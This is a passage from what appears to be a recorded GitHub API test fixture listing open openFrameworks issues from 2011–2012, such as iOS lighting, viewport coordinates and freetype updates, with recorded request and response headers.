","number":410,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/410","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"2babad","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"}],"id":539744,"closed_at":null,"created_at":"2011-01-20T18:59:10Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","url":"https://api.github.com/users/vanderlin","login":"vanderlin","id":149997,"avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofEnableLighting","html_url":"https://github.com/openframeworks/openFrameworks/issues/406","comments":0,"assignee":null,"updated_at":"2011-01-19T19:39:37Z","body":"ofLight bug not sure what the ios equivalent is..\r\n\r\nglColorMaterial(GL_FRONT_AND_BACK, GL_AMBIENT_AND_DIFFUSE); is not supported in IOS","number":406,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/406","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":537416,"closed_at":null,"created_at":"2011-01-19T19:39:36Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofViewport doesn't match rest of openFrameworks coordinates","html_url":"https://github.com/openframeworks/openFrameworks/issues/405","comments":0,"assignee":null,"updated_at":"2011-01-19T13:24:54Z","body":"Suggest change line 126 of ofGraphics.h to\r\n\tglViewport(x, ofGetHeight() - y - height, width, height);\r\n\r\nto be in line with rest of openFrameworks coordinate system\r\ne.g. ofRect(myRect) matches ofViewport(myRect)\r\n","number":405,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/405","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"}],"id":536614,"closed_at":null,"created_at":"2011-01-19T13:24:53Z"}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=12 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4932'), ('content-length', '38352'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('Link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"679d499a026b6f6d6a1e20857a7392dc"'), ('date', 'Tue, 29 May 2012 19:27:21 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-01-17T23:39:31Z","body":"it should be only in the implementations and queried by the grabber/player in case an implementation doesn't support a format if not the app can crash or have really weird results","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/403","comments":0,"milestone":null,"number":403,"html_url":"https://github.com/openframeworks/openFrameworks/issues/403","assignee":null,"title":"setPixelFormat shouldn't be stored in videoGrabber/Player","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-17T23:39:31Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":532954,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-17T16:37:42Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/400","comments":0,"milestone":null,"number":400,"html_url":"https://github.com/openframeworks/openFrameworks/issues/400","assignee":null,"title":"ofTTF should have setAnchorPercent so you can draw strings centered, right aligned etc","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"closed_at":null,"created_at":"2011-01-17T16:37:42Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":532096,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-03-20T17:33:14Z","body":"every frame, it should update the pmouse value. so if you don't move the mouse, the pmouse value is equal to the current value.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/391","comments":1,"milestone":null,"number":391,"html_url":"https://github.com/openframeworks/openFrameworks/issues/391","assignee":null,"title":"ofGetPreviousMouseX/Y() does not update per frame","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-16T07:21:15Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":529705,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-03-20T17:32:59Z","body":"this is a limitation to glut, but it might be hackable on each system separately.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/389","comments":1,"milestone":null,"number":389,"html_url":"https://github.com/openframeworks/openFrameworks/issues/389","assignee":null,"title":"mouse position doesn't update until mouse is moved","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-16T07:11:53Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":529700,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-03-13T21:10:48Z","body":"following error appears when i try to load an image; commenting out the call to loadImage(\"...\") makes the error go away.\n\n Undefined symbols:\n \"std::basic_ostream >& std::__ostream_insert >(std::basic_ostream >&, char const*, int)\", \n referenced from:\n Poco::Net::HTTPClientSession::proxyAuthenticateImpl(Poco::Net::HTTPRequest&)in PocoNet.a(HTTPClientSession.o)\n Poco::Net::HTTPClientSession::proxyAuthenticateImpl(Poco::Net::HTTPRequest&)in PocoNet.a(HTTPClientSession.o)\n Poco::Net::HTTPRequest::write(std::basic_ostream >&) constin PocoNet.a(HTTPRequest.o)\n Poco::Net::HTTPRequest::write(std::basic_ostream >&) constin PocoNet.a(HTTPRequest.o)\n Poco::Net::HTTPRequest::write(std::basic_ostream >&) constin PocoNet.a(HTTPRequest.o)\n Poco::Net::MessageHeader::write(std::basic_ostream >&) constin PocoNet.a(MessageHeader.o)\n Poco::Net::MessageHeader::write(std::basic_ostream >&) constin PocoNet.a(MessageHeader.o)\n Poco::Net::HTTPResponse::write(std::basic_ostream >&) constin PocoNet.a(HTTPResponse.o)\n Poco::Net::HTTPResponse::write(std::basic_ostream >&) constin PocoNet.a(HTTPResponse.o)\n\nld: symbol(s) not found\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/387","comments":1,"milestone":null,"number":387,"html_url":"https://github.com/openframeworks/openFrameworks/issues/387","assignee":null,"title":"Linker error when loading image (Poco::Net related?)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-16T05:57:51Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"id":529646,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-15T17:01:08Z","body":"would be nice if it was a float (0-1) and not an int(0-100) for standardization with every other audio thing in the universe aside from quicktime","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/375","comments":2,"milestone":null,"number":375,"html_url":"https://github.com/openframeworks/openFrameworks/issues/375","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"ofVideoPlayer setVolume uses an int","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"closed_at":null,"created_at":"2011-01-15T23:03:57Z","state":"open","user":{"url":"https://api.github.com/users/stfj","gravatar_id":"b089227a1748a2d70cdfc4ef00b325ad","login":"stfj","avatar_url":"https://secure.gravatar.com/avatar/b089227a1748a2d70cdfc4ef00b325ad?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":177578},"id":529268,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-14T19:30:31Z","body":"glDrawBitmapString doesn't work when GL_LIGHTING is enabled.\r\n\r\nwell, it works... but it is black because it isn't reflecting any light. regardless of the ofSetColor.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/357","comments":0,"milestone":null,"number":357,"html_url":"https://github.com/openframeworks/openFrameworks/issues/357","assignee":null,"title":"glDrawBitmapString vs GL_LIGHTING","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-14T19:30:31Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":527591,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-14T01:33:38Z","body":"some of the core functions only work with 2d points, others only with 3d points, some work with both. but they all take ofPoints.\r\n\r\nit's good for teaching purposes to have ofPoints because you don't have to explain what a 'vector' is, but it's unclear for advanced users whether the functions take 2d or 3d points...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/347","comments":0,"milestone":null,"number":347,"html_url":"https://github.com/openframeworks/openFrameworks/issues/347","assignee":null,"title":"none of the core functions report how many dimensions they work for","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-01-14T01:33:38Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":526094,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-13T16:16:40Z","body":"e.g., GL_DEPTH_TEST.\r\n\r\none of the reasons for this is that it's not obvious to newbies what common features are available.\r\n\r\nanother is that i've seen lots of people write GL_DEPTH instead, which obviously doesn't work.\r\n\r\nthere might be some others too, see processing's hint():\r\n\r\nhttp://processing.org/reference/hint_.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/340","comments":0,"milestone":null,"number":340,"html_url":"https://github.com/openframeworks/openFrameworks/issues/340","assignee":null,"title":"OF wrapper for basic gl functions that aren't intuitive to newbies","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"closed_at":null,"created_at":"2011-01-13T16:16:40Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":524875,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-27T13:35:42Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/337","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":337,"html_url":"https://github.com/openframeworks/openFrameworks/issues/337","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"ofFileDialog allow folder selection ( works on os x ) needs code for win and linux","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-01-13T05:21:53Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":523837,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T15:11:06Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/330","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":330,"html_url":"https://github.com/openframeworks/openFrameworks/issues/330","assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"title":"OpenCv 2.2 for Win ( CB and VS )","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"}],"closed_at":null,"created_at":"2011-01-12T19:09:37Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":522789,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-04T14:06:34Z","body":"currentStyle stores everything about the current style, so it can be used rather than things like drawMode for tracking how things should currently be draw.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/325","comments":1,"milestone":null,"number":325,"html_url":"https://github.com/openframeworks/openFrameworks/issues/325","assignee":null,"title":"drawMode can be deprecated, currentStyle.bFill should be used instead","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-12T15:41:11Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":522255,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-12T15:34:48Z","body":"ordering for code completion is a little weird.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/324","comments":0,"milestone":null,"number":324,"html_url":"https://github.com/openframeworks/openFrameworks/issues/324","assignee":null,"title":"ofPushView/ofPopView appear before ofPushMatrix/ofPopMatrix","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"}],"closed_at":null,"created_at":"2011-01-12T15:34:48Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":522231,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-10T22:30:48Z","body":"under the /video directory","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/311","comments":0,"milestone":null,"number":311,"html_url":"https://github.com/openframeworks/openFrameworks/issues/311","assignee":null,"title":"openFrameworksLib has ofQtUtils included twice","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-10T22:30:48Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":518434,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-10T06:36:27Z","body":"better to use aggregation (helper classes/functions) if necessary for common functionality that have implementation in those classes. making them pure abstract classes will avoid problems with multiple inheritance and easier to extend in case of different behaviour","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/305","comments":0,"milestone":null,"number":305,"html_url":"https://github.com/openframeworks/openFrameworks/issues/305","assignee":null,"title":"no implementation in ofBaseTypes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-01-10T06:36:27Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"id":516844,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-05T21:59:59Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/302","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":302,"html_url":"https://github.com/openframeworks/openFrameworks/issues/302","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"Remove Poco CppUnit from all projects ( done on os x )","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-01-10T02:39:28Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":516565,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T01:06:09Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/299","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","closed_issues":0,"number":6,"title":"0073 Release","due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090},"number":299,"html_url":"https://github.com/openframeworks/openFrameworks/issues/299","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"freetype-2.4.4 for linux","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-01-10T02:38:08Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":516560,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-25T01:06:08Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/298","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","closed_issues":0,"number":6,"title":"0073 Release","due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090},"number":298,"html_url":"https://github.com/openframeworks/openFrameworks/issues/298","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"freetype-2.4.4 for windows","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-01-10T02:37:49Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":516559,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-05T21:59:27Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/296","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"